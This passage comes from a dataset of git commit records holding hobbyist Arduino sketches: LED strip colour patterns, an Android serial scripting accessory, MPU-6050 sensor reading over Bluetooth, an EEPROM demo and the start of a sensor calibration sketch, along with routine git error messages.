= 0;\n int blueShade = 0;\n patternLength = (strip.numPixels()-1)\/cF;\n delayTime = 20;\n int buffer = ((255 \/ strip.numPixels()-1)*5*cF);\n int x = strip.numPixels()-1;\n\n\n while ((redShade < 255) && ((redShade + buffer) <= 255)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n redShade += buffer;\n x--;\n }\n while ((redShade > 50) && ((redShade - buffer) >= 50)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n redShade -= buffer;\n x--;\n }\n redShade = 0;\n greenShade = 0;\n blueShade = 0;\n while ((greenShade < 255) && ((greenShade + buffer) <= 255)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n greenShade += buffer;\n x--;\n }\n while ((greenShade > 50) && ((greenShade - buffer) >= 50)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n greenShade -= buffer;\n x--;\n }\n\n\n}\n\nvoid blueStateWithGreenInverted(Adafruit_NeoPixel &strip)\n{\n\n timeCounter++;\n int cF = 2;\n int redShade = 0;\n int greenShade = 0;\n int blueShade = 0;\n patternLength = (strip.numPixels()-1)\/cF;\n delayTime = 20;\n int buffer = ((255 \/ strip.numPixels()-1)*5*cF);\n int x = strip.numPixels()-1;\n\n\n while ((blueShade < 255) && ((blueShade + buffer) <= 255)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n blueShade += buffer;\n x--;\n }\n while ((blueShade > 50) && ((blueShade - buffer) >= 50)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n blueShade -= buffer;\n x--;\n }\n redShade = 0;\n greenShade = 0;\n blueShade = 0;\n while ((greenShade < 255) && ((greenShade + buffer) <= 255)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n greenShade += buffer;\n x--;\n }\n while ((greenShade > 50) && ((greenShade - buffer) >= 50)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n greenShade -= buffer;\n x--;\n }\n\n\n}\n\nvoid simpleRaindowFade(Adafruit_NeoPixel &strip)\n{\n delayTime = 25;\n patternLength = (strip.numPixels()-1)\/1;\n int redShade = 255;\n int greenShade = 0;\n int blueShade = 0;\n int buffer = (1530 \/ patternLength);\n int x = 0;\n while ((greenShade < 255) && ((greenShade + buffer) <= 255)){\n for ( x = 0; x < strip.numPixels()-1; x++) strip.setPixelColor(x, redShade, greenShade, blueShade);\n greenShade += buffer;\n \n }\n redShade = 255;\n greenShade = 255;\n blueShade = 0;\n while ((redShade > 0) && ((redShade - buffer) > 0)){\n for ( x = 0; x < strip.numPixels()-1; x++) strip.setPixelColor(x, redShade, greenShade, blueShade);\n redShade -= buffer;\n \n }\n redShade = 0;\n greenShade = 255;\n blueShade = 0;\n while ((blueShade < 255) && ((blueShade + buffer) <= 255)){\n for ( x = 0; x < strip.numPixels()-1; x++) strip.setPixelColor(x, redShade, greenShade, blueShade);\n blueShade += buffer;\n \n }\n redShade = 0;\n greenShade = 255;\n blueShade = 255;\n while ((greenShade > 0) && ((greenShade - buffer) > 0)){\n for ( x = 0; x < strip.numPixels()-1; x++) strip.setPixelColor(x, redShade, greenShade, blueShade);\n greenShade -= buffer;\n \n }\n redShade = 0;\n greenShade = 0;\n blueShade = 225;\n while ((redShade < 255) && ((redShade + buffer) <= 255)){\n for ( x = 0; x < strip.numPixels()-1; x++) strip.setPixelColor(x, redShade, greenShade, blueShade);\n redShade += buffer;\n \n }\n redShade = 255;\n greenShade = 0;\n blueShade = 225;\n while ((blueShade > 0) && ((blueShade - buffer) > 0)){\n for ( x = 0; x < strip.numPixels()-1; x++) strip.setPixelColor(x, redShade, greenShade, blueShade);\n blueShade -= buffer;\n \n }\n\n}\n\nvoid simpleRaindow(Adafruit_NeoPixel &strip)\n{\n delayTime = 25;\n patternLength = (strip.numPixels()-1)\/1;\n int redShade = 255;\n int greenShade = 0;\n int blueShade = 0;\n int buffer = (1530 \/ patternLength);\n int x = 0;\n while ((greenShade < 255) && ((greenShade + buffer) <= 255)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n greenShade += buffer;\n x++;\n }\n redShade = 255;\n greenShade = 255;\n blueShade = 0;\n while ((redShade > 0) && ((redShade - buffer) > 0)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n redShade -= buffer;\n x++;\n }\n redShade = 0;\n greenShade = 255;\n blueShade = 0;\n while ((blueShade < 255) && ((blueShade + buffer) <= 255)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n blueShade += buffer;\n x++;\n }\n redShade = 0;\n greenShade = 255;\n blueShade = 255;\n while ((greenShade > 0) && ((greenShade - buffer) > 0)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n greenShade -= buffer;\n x++;\n }\n redShade = 0;\n greenShade = 0;\n blueShade = 225;\n while ((redShade < 255) && ((redShade + buffer) <= 255)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n redShade += buffer;\n x++;\n }\n redShade = 255;\n greenShade = 0;\n blueShade = 225;\n while ((blueShade > 0) && ((blueShade - buffer) > 0)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n blueShade -= buffer;\n x++;\n }\n\n}\n\nvoid annoyingRaindow(Adafruit_NeoPixel &strip)\n{\n delayTime = 25;\n int greenShade = random(255);\n int redShade = random(255);\n int blueShade = random(255);\n int rangeShade = 255;\n int counter = random(1,3);\n int counterOld = 0;\n for (int k = 0; k < strip.numPixels(); k++)\n {\n if (counter == 1)\n {\n rangeShade = 255;\n redShade = random(255);\n greenShade = random(rangeShade);\n\n rangeShade -= greenShade;\n\n blueShade = random(rangeShade);\n }\n if (counter = 2)\n {\n rangeShade = 255;\n greenShade = random(255);\n rangeShade -= redShade;\n blueShade = random(rangeShade);\n rangeShade -= greenShade;\n redShade = random(rangeShade);\n }\n if (counter = 3)\n {\n rangeShade = 255;\n blueShade = random(255);\n rangeShade -= redShade;\n redShade = random(rangeShade);\n rangeShade -= greenShade;\n greenShade = random(rangeShade);\n\n }\n strip.setPixelColor(k, redShade, greenShade, blueShade);\n counterOld = counter;\n counter = random(1,3);\n while (counterOld == counter) counter = random(1,3);\n }\n\n\n\n}\n\n\nvoid shift(int offset, int repeat, Adafruit_NeoPixel &strip)\n{\n for (int j = 0; j < offset; j++)\n { \n for (int i = strip.numPixels() - 1; i > 0; i--)\n {\n strip.setPixelColor(i , strip.getPixelColor(i - 1));\n }\n\n strip.setPixelColor(0, strip.getPixelColor(repeat));\n }\n}\n\nvoid shiftInverted(int offset, int repeat, Adafruit_NeoPixel &strip)\n{\n offset = -offset;\n\n for (int j = 0; j < offset; j++)\n { \n for (int i = 0; i < strip.numPixels(); i++)\n {\n\n strip.setPixelColor(i ,strip.getPixelColor(i+1));\n }\n\n strip.setPixelColor(strip.numPixels() - 1, strip.getPixelColor(strip.numPixels()-1 - repeat));\n }\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/lights.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"1f34e060adb2a2d6feca5a7d367d0f360fde826c","subject":"Add play_movie.ino","message":"Add play_movie.ino\n","repos":"kopanitsa\/ScriptingAccessory,kopanitsa\/ScriptingAccessory,kopanitsa\/ScriptingAccessory,kopanitsa\/ScriptingAccessory","old_file":"ScriptingAccessory\/firmware\/play_movie\/play_movie.ino","new_file":"ScriptingAccessory\/firmware\/play_movie\/play_movie.ino","new_contents":"\/* Copyright 2012 Google Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,\n * USA.\n *\n * Project home page: http:\/\/code.google.com\/p\/usb-serial-for-android\/\n *\/\n\n\/\/ Sample Arduino sketch for use with usb-serial-for-android.\n\/\/ Prints an ever-increasing counter, and writes back anything\n\/\/ it receives.\n#define STATE_INIT 0\n#define STATE_WRITE 1\n#define STATE_WRITE_DONE 2\n#define STATE_READ 3\n\n#define STRING_EOS \"#_EOS_EOS_EOS_EOS_EOS_\"\n\nstatic int state = STATE_INIT;\n\nvoid setup() {\n Serial.begin(115200);\n}\n\nvoid loop() {\n switch (state) {\n case STATE_INIT:\n if (Serial.peek() != -1) {\n state = STATE_WRITE;\n }\n break;\n\n case STATE_WRITE:\n Serial.println(\"import android,time\");\n Serial.println(\"droid = android.Android()\");\n Serial.println(\"droid.makeToast('Play Movie')\");\n Serial.println(\"droid.webViewShow(\\\"https:\/\/docs.google.com\/file\/d\/0B14PZnE7DkYmck9Yc2tlcTZwTnM\/edit?usp=sharing\\\")\");\n\n state = STATE_WRITE_DONE;\n break;\n\n case STATE_WRITE_DONE:\n Serial.print(STRING_EOS);\n\n state = STATE_READ;\n\n case STATE_READ:\n default:\n break;\n }\n\n delay(300);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ScriptingAccessory\/firmware\/play_movie\/play_movie.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f99f4e164a47e260ab36cf239a3c07d2116691c0","subject":"Moteur: Asservissement 2.5 - prise en compte de la fin d'un ordre","message":"Moteur: Asservissement 2.5 - prise en compte de la fin d'un ordre\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Moteur\/Software\/Asservissement\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5.ino","new_file":"Module Moteur\/Software\/Asservissement\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Moteur\/Software\/Asservissement\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"54277a3a9a3317d74bba57ca840c66d4317944d4","subject":"Add chap4 example","message":"Add chap4 example\n","repos":"godstale\/How-to-make-talking-things","old_file":"chap4\/Arduino\/RetroBand_Arduino\/RetroBand_Arduino.ino","new_file":"chap4\/Arduino\/RetroBand_Arduino\/RetroBand_Arduino.ino","new_contents":"#include <math.h>\n#include <Wire.h>\n#include <SoftwareSerial.h>\n\n\n\/* Bluetooth *\/\nSoftwareSerial BTSerial(2, 3); \/\/Connect HC-06. Use your (TX, RX) settings\n\n\/* time *\/\n#define SENDING_INTERVAL 1000\n#define SENSOR_READ_INTERVAL 50\nunsigned long prevSensoredTime = 0;\nunsigned long curSensoredTime = 0;\n\n\/* Data buffer *\/\n#define ACCEL_BUFFER_COUNT 125\nbyte aAccelBuffer[ACCEL_BUFFER_COUNT];\nint iAccelIndex = 2;\n\n\/* MPU-6050 sensor *\/\n#define MPU6050_ACCEL_XOUT_H 0x3B \/\/ R\n#define MPU6050_PWR_MGMT_1 0x6B \/\/ R\/W\n#define MPU6050_PWR_MGMT_2 0x6C \/\/ R\/W\n#define MPU6050_WHO_AM_I 0x75 \/\/ R\n#define MPU6050_I2C_ADDRESS 0x68\n\ntypedef union accel_t_gyro_union {\n\tstruct {\n\t\tuint8_t x_accel_h;\n\t\tuint8_t x_accel_l;\n\t\tuint8_t y_accel_h;\n\t\tuint8_t y_accel_l;\n\t\tuint8_t z_accel_h;\n\t\tuint8_t z_accel_l;\n\t\tuint8_t t_h;\n\t\tuint8_t t_l;\n\t\tuint8_t x_gyro_h;\n\t\tuint8_t x_gyro_l;\n\t\tuint8_t y_gyro_h;\n\t\tuint8_t y_gyro_l;\n\t\tuint8_t z_gyro_h;\n\t\tuint8_t z_gyro_l;\n\t} reg;\n\n\tstruct {\n\t\tint x_accel;\n\t\tint y_accel;\n\t\tint z_accel;\n\t\tint temperature;\n\t\tint x_gyro;\n\t\tint y_gyro;\n\t\tint z_gyro;\n\t} value;\n};\n\n\n\nvoid setup() {\n\tint error;\n\tuint8_t c;\n\n\tSerial.begin(9600);\n\tWire.begin();\n\tBTSerial.begin(9600); \/\/ set the data rate for the BT port\n\n\t\/\/ default at power-up:\n\t\/\/ Gyro at 250 degrees second\n\t\/\/ Acceleration at 2g\n\t\/\/ Clock source at internal 8MHz\n\t\/\/ The device is in sleep mode.\n\t\/\/\n\terror = MPU6050_read (MPU6050_WHO_AM_I, &c, 1);\n\tSerial.print(F(\"WHO_AM_I : \"));\n\tSerial.print(c,HEX);\n\tSerial.print(F(\", error = \"));\n\tSerial.println(error,DEC);\n\n\t\/\/ According to the datasheet, the 'sleep' bit\n\t\/\/ should read a '1'. But I read a '0'.\n\t\/\/ That bit has to be cleared, since the sensor\n\t\/\/ is in sleep mode at power-up. Even if the\n\t\/\/ bit reads '0'.\n\terror = MPU6050_read (MPU6050_PWR_MGMT_2, &c, 1);\n\tSerial.print(F(\"PWR_MGMT_2 : \"));\n\tSerial.print(c,HEX);\n\tSerial.print(F(\", error = \"));\n\tSerial.println(error,DEC);\n\n\t\/\/ Clear the 'sleep' bit to start the sensor.\n\tMPU6050_write_reg (MPU6050_PWR_MGMT_1, 0);\n\n\tinitBuffer();\n}\n\nvoid loop() {\n curSensoredTime = millis();\n \n \/\/ Read from sensor\n if(curSensoredTime - prevSensoredTime > SENSOR_READ_INTERVAL) {\n readFromSensor(); \/\/ Read from sensor\n prevSensoredTime = curSensoredTime;\n \n \/\/ Send buffer data to remote\n if(iAccelIndex >= ACCEL_BUFFER_COUNT - 3) {\n sendToRemote();\n initBuffer();\n Serial.println(\"------------- Send 20 accel data to remote\");\n }\n }\n}\n\n\/**************************************************\n * BT Transaction\n **************************************************\/\nvoid sendToRemote() {\n \/\/ Write gabage bytes\n BTSerial.write( \"accel\" );\n \/\/ Write accel data\n BTSerial.write( (char*)aAccelBuffer );\n \/\/ Flush buffer\n \/\/BTSerial.flush();\n}\n\n\/**************************************************\n * Read data from sensor and save it\n **************************************************\/\nvoid readFromSensor() {\n int error;\n double dT;\n accel_t_gyro_union accel_t_gyro;\n \n error = MPU6050_read (MPU6050_ACCEL_XOUT_H, (uint8_t *) &accel_t_gyro, sizeof(accel_t_gyro));\n if(error != 0) {\n Serial.print(F(\"Read accel, temp and gyro, error = \"));\n Serial.println(error,DEC);\n }\n \n \/\/ Swap all high and low bytes.\n \/\/ After this, the registers values are swapped,\n \/\/ so the structure name like x_accel_l does no\n \/\/ longer contain the lower byte.\n uint8_t swap;\n #define SWAP(x,y) swap = x; x = y; y = swap\n SWAP (accel_t_gyro.reg.x_accel_h, accel_t_gyro.reg.x_accel_l);\n SWAP (accel_t_gyro.reg.y_accel_h, accel_t_gyro.reg.y_accel_l);\n SWAP (accel_t_gyro.reg.z_accel_h, accel_t_gyro.reg.z_accel_l);\n SWAP (accel_t_gyro.reg.t_h, accel_t_gyro.reg.t_l);\n SWAP (accel_t_gyro.reg.x_gyro_h, accel_t_gyro.reg.x_gyro_l);\n SWAP (accel_t_gyro.reg.y_gyro_h, accel_t_gyro.reg.y_gyro_l);\n SWAP (accel_t_gyro.reg.z_gyro_h, accel_t_gyro.reg.z_gyro_l);\n \n \/\/ Print the raw acceleration values\n Serial.print(F(\"accel x,y,z: \"));\n Serial.print(accel_t_gyro.value.x_accel, DEC);\n Serial.print(F(\", \"));\n Serial.print(accel_t_gyro.value.y_accel, DEC);\n Serial.print(F(\", \"));\n Serial.print(accel_t_gyro.value.z_accel, DEC);\n Serial.print(F(\", at \"));\n Serial.print(iAccelIndex);\n Serial.println(F(\"\"));\n \n if(iAccelIndex < ACCEL_BUFFER_COUNT && iAccelIndex > 1) {\n int tempX = accel_t_gyro.value.x_accel;\n int tempY = accel_t_gyro.value.y_accel;\n int tempZ = accel_t_gyro.value.z_accel;\n \/*\n \/\/ Check min, max value\n if(tempX > 16380) tempX = 16380;\n if(tempY > 16380) tempY = 16380;\n if(tempZ > 16380) tempZ = 16380;\n \n if(tempX < -16380) tempX = -16380;\n if(tempY < -16380) tempY = -16380;\n if(tempZ < -16380) tempZ = -16380;\n \n \/\/ We dont use negative value\n tempX += 16380;\n tempY += 16380;\n tempZ += 16380;\n *\/\n char temp = (char)(tempX >> 8);\n if(temp == 0x00)\n temp = 0x7f;\n aAccelBuffer[iAccelIndex] = temp;\n iAccelIndex++;\n temp = (char)(tempX);\n if(temp == 0x00)\n temp = 0x01;\n aAccelBuffer[iAccelIndex] = temp;\n iAccelIndex++;\n \n temp = (char)(tempY >> 8);\n if(temp == 0x00)\n temp = 0x7f;\n aAccelBuffer[iAccelIndex] = temp;\n iAccelIndex++;\n temp = (char)(tempY);\n if(temp == 0x00)\n temp = 0x01;\n aAccelBuffer[iAccelIndex] = temp;\n iAccelIndex++;\n \n temp = (char)(tempZ >> 8);\n if(temp == 0x00)\n temp = 0x7f;\n aAccelBuffer[iAccelIndex] = temp;\n iAccelIndex++;\n temp = (char)(tempZ);\n if(temp == 0x00)\n temp = 0x01;\n aAccelBuffer[iAccelIndex] = temp;\n iAccelIndex++;\n }\n \n \/\/ The temperature sensor is -40 to +85 degrees Celsius.\n \/\/ It is a signed integer.\n \/\/ According to the datasheet:\n \/\/ 340 per degrees Celsius, -512 at 35 degrees.\n \/\/ At 0 degrees: -512 - (340 * 35) = -12412\n\/\/ Serial.print(F(\"temperature: \"));\n\/\/ dT = ( (double) accel_t_gyro.value.temperature + 12412.0) \/ 340.0;\n\/\/ Serial.print(dT, 3);\n\/\/ Serial.print(F(\" degrees Celsius\"));\n\/\/ Serial.println(F(\"\"));\n\n \/\/ Print the raw gyro values.\n\/\/ Serial.print(F(\"gyro x,y,z : \"));\n\/\/ Serial.print(accel_t_gyro.value.x_gyro, DEC);\n\/\/ Serial.print(F(\", \"));\n\/\/ Serial.print(accel_t_gyro.value.y_gyro, DEC);\n\/\/ Serial.print(F(\", \"));\n\/\/ Serial.print(accel_t_gyro.value.z_gyro, DEC);\n\/\/ Serial.println(F(\"\"));\n}\n\n\/**************************************************\n * MPU-6050 Sensor read\/write\n **************************************************\/\nint MPU6050_read(int start, uint8_t *buffer, int size)\n{\n\tint i, n, error;\n\t\n\tWire.beginTransmission(MPU6050_I2C_ADDRESS);\n\t\n\tn = Wire.write(start);\n\tif (n != 1)\n\t\treturn (-10);\n\t\n\tn = Wire.endTransmission(false); \/\/ hold the I2C-bus\n\tif (n != 0)\n\t\treturn (n);\n\t\n\t\/\/ Third parameter is true: relase I2C-bus after data is read.\n\tWire.requestFrom(MPU6050_I2C_ADDRESS, size, true);\n\ti = 0;\n\twhile(Wire.available() && i<size)\n\t{\n\t\tbuffer[i++]=Wire.read();\n\t}\n\tif ( i != size)\n\t\treturn (-11);\n\treturn (0); \/\/ return : no error\n}\n\nint MPU6050_write(int start, const uint8_t *pData, int size)\n{\n\tint n, error;\n\t\n\tWire.beginTransmission(MPU6050_I2C_ADDRESS);\n\t\n\tn = Wire.write(start); \/\/ write the start address\n\tif (n != 1)\n\t\treturn (-20);\n\t\t\n\tn = Wire.write(pData, size); \/\/ write data bytes\n\tif (n != size)\n\t\treturn (-21);\n\t\t\n\terror = Wire.endTransmission(true); \/\/ release the I2C-bus\n\tif (error != 0)\n\t\treturn (error);\n\treturn (0); \/\/ return : no error\n}\n\nint MPU6050_write_reg(int reg, uint8_t data)\n{\n\tint error;\n\terror = MPU6050_write(reg, &data, 1);\n\treturn (error);\n}\n\n\n\/**************************************************\n * Utilities\n **************************************************\/\nvoid initBuffer() {\n iAccelIndex = 2;\n for(int i=iAccelIndex; i<ACCEL_BUFFER_COUNT; i++) {\n aAccelBuffer[i] = 0x00;\n }\n aAccelBuffer[0] = 0xfe;\n aAccelBuffer[1] = 0xfd;\n aAccelBuffer[122] = 0xfd;\n aAccelBuffer[123] = 0xfe;\n aAccelBuffer[124] = 0x00;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'chap4\/Arduino\/RetroBand_Arduino\/RetroBand_Arduino.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"157246b058572178f7d7c32218a85a0d95949b27","subject":"Update and rename 24C02\/Eeprom24C0102 to 24C02\/Eeprom24C0102\/examples\/WriteReadByte\/WriteReadByte.ino","message":"Update and rename 24C02\/Eeprom24C0102 to 24C02\/Eeprom24C0102\/examples\/WriteReadByte\/WriteReadByte.ino","repos":"JarvisDP\/ArduinoGarbage","old_file":"24C02\/Eeprom24C0102\/examples\/WriteReadByte\/WriteReadByte.ino","new_file":"24C02\/Eeprom24C0102\/examples\/WriteReadByte\/WriteReadByte.ino","new_contents":"\/**************************************************************************\/\/**\n * \\brief EEPROM 24C01 \/ 24C02 library for Arduino - Demonstration program\n * \\author Copyright (C) 2012 Julien Le Sech - www.idreammicro.com\n * \\version 1.0\n * \\date 20120217\n *\n * This file is part of the EEPROM 24C01 \/ 24C02 library for Arduino.\n *\n * This library is free software: you can redistribute it and\/or modify it under\n * the terms of the GNU Lesser General Public License as published by the Free\n * Software Foundation, either version 3 of the License, or (at your option) any\n * later version.\n * \n * This library is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more\n * details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program. If not, see http:\/\/www.gnu.org\/licenses\/\n ******************************************************************************\/\n\n\/**************************************************************************\/\/**\n * \\file WriteReadByte.ino\n ******************************************************************************\/\n \n\/******************************************************************************\n * Header file inclusions.\n ******************************************************************************\/\n\n#include <Wire.h>\n\n#include <Eeprom24C0102.h>\n\n\/******************************************************************************\n * Private macro definitions.\n ******************************************************************************\/\n\n\/**************************************************************************\/\/**\n * \\def EEPROM_ADDRESS\n * \\brief Address of EEPROM memory on TWI bus.\n ******************************************************************************\/\n#define EEPROM_ADDRESS 0x50\n\n\/******************************************************************************\n * Private variable definitions.\n ******************************************************************************\/\n\nstatic Eeprom24C01_02 eeprom(EEPROM_ADDRESS);\n\n\/******************************************************************************\n * Public function definitions.\n ******************************************************************************\/\n\n\/**************************************************************************\/\/**\n * \\fn void setup()\n *\n * \\brief\n ******************************************************************************\/\nvoid setup()\n{\n \/\/ Initialize serial communication.\n Serial.begin(9600);\n \n \/\/ Initialize EEPROM library.\n eeprom.initialize();\n \n \/\/ Write a byte at address 0 in EEPROM memory.\n Serial.println(\"Write byte to EEPROM memory...\");\n eeprom.writeByte(0, 0xAA);\n \n \/\/ Write cycle time (tWR). See EEPROM memory datasheet for more details.\n delay(10);\n \n \/\/ Read a byte at address 0 in EEPROM memory.\n Serial.println(\"Read byte from EEPROM memory...\");\n byte data = eeprom.readByte(0);\n \n \/\/ Print read byte.\n Serial.print(\"Read byte = 0x\");\n Serial.print(data, HEX);\n Serial.println(\"\");\n}\n\n\/**************************************************************************\/\/**\n * \\fn void loop()\n *\n * \\brief\n ******************************************************************************\/\nvoid loop()\n{\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '24C02\/Eeprom24C0102\/examples\/WriteReadByte\/WriteReadByte.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"f420c2e3cbee1f719c70746ac0748ad22e9d4eb5","subject":"timer interrupt setup fixed","message":"timer interrupt setup fixed\n","repos":"irfansehic\/web_based_rgb_controller,irfansehic\/web_based_rgb_controller","old_file":"src\/main.ino","new_file":"src\/main.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/irfansehic\/web_based_rgb_controller.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8da9c7d75da988989cb30e014b9f6ab7ab411939","subject":"adding example and notes","message":"adding example and notes\n","repos":"gneill794\/PinLib","old_file":"examples\/example.led.ino","new_file":"examples\/example.led.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/gneill794\/PinLib.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"6b7b81c2e0dbfb4e1a5a2cc7441fa292e1d1436a","subject":"Added MPU calibration function","message":"Added MPU calibration function\n\nOriginal from Rodena and Rowberg, modified to enable writing the calibration values to the EEPROM of the Atmega328P. Moreover Limits are relaxed and the Progress of the calibration is logged.","repos":"Protonerd\/DIYino","old_file":"MPU6050_calibration.ino","new_file":"MPU6050_calibration.ino","new_contents":"\/\/ Arduino sketch that returns calibration offsets for MPU6050 \/\/ Version 1.1 (31th January 2014)\n\/\/ Done by Luis R\u00f3denas <luisrodenaslorda@gmail.com>\n\/\/ Based on the I2Cdev library and previous work by Jeff Rowberg <jeff@rowberg.net>\n\/\/ Updates (of the library) should (hopefully) always be available at https:\/\/github.com\/jrowberg\/i2cdevlib\n\n\/\/ These offsets were meant to calibrate MPU6050's internal DMP, but can be also useful for reading sensors. \n\/\/ The effect of temperature has not been taken into account so I can't promise that it will work if you \n\/\/ calibrate indoors and then use it outdoors. Best is to calibrate and use at the same room temperature.\n\n\/* ========== LICENSE ==================================\n I2Cdev device library code is placed under the MIT license\n Copyright (c) 2011 Jeff Rowberg\n \n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n \n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n \n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n =========================================================\n *\/\n\n\/\/ I2Cdev and MPU6050 must be installed as libraries\n#include \"I2Cdev.h\"\n#include \"MPU6050.h\"\n#include \"Wire.h\"\n#include <EEPROMex.h> \/\/ include EEPROM library to write the calibrated offset values into the EEPROM\n\n#define MEMORYBASEMPUCALIBOFFSET 96 \/\/ start storing the calibration values starting at this address\n#define DEBUGVERBOSE\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ CONFIGURATION \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/Change this 3 variables if you want to fine tune the skecth to your needs.\nint buffersize=1000; \/\/Amount of readings used to average, make it higher to get more precision but sketch will be slower (default:1000)\nint discardfirstmeas=100; \/\/ Amount of initial measurements to be discarded\nint acel_deadzone=10; \/\/Acelerometer error allowed, make it lower to get more precision, but sketch may not converge (default:8)\nint giro_deadzone=10; \/\/Giro error allowed, make it lower to get more precision, but sketch may not converge (default:1)\nint accel_offset_divisor=8; \/\/8;\nint gyro_offset_divisor=4; \/\/4;\n\/\/ deadzone: amount of variation between 2 consecutive measurements\n\n\/\/ default I2C address is 0x68\n\/\/ specific I2C addresses may be passed as a parameter here\n\/\/ AD0 low = 0x68 (default for InvenSense evaluation board)\n\/\/ AD0 high = 0x69\nMPU6050 accelgyro;\n\/\/MPU6050 accelgyro(0x69); \/\/ <-- use for AD0 high\n\nint16_t ax, ay, az,gx, gy, gz;\n\nint mean_ax,mean_ay,mean_az,mean_gx,mean_gy,mean_gz,state=0;\nint ax_offset,ay_offset,az_offset,gx_offset,gy_offset,gz_offset;\nint ax_initoffset,ay_initoffset,az_initoffset,gx_initoffset,gy_initoffset,gz_initoffset;\nint16_t ax_offsetEEPROM,ay_offsetEEPROM,az_offsetEEPROM,gx_offsetEEPROM,gy_offsetEEPROM,gz_offsetEEPROM;\nunsigned int calibratedOffsetAdress = 0;\n\nunsigned int loopcount=0;\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ SETUP \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid setup() {\n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n Wire.begin();\n \/\/ COMMENT NEXT LINE IF YOU ARE USING ARDUINO DUE\n TWBR = 24; \/\/ 400kHz I2C clock (200kHz if CPU is 8MHz). Leonardo measured 250kHz.\n\n \/\/ initialize serial communication\n Serial.begin(115200);\n\n \/\/ initialize device\n accelgyro.initialize();\n\n \/\/ wait for ready\n while (Serial.available() && Serial.read()); \/\/ empty buffer\n while (!Serial.available()){\n 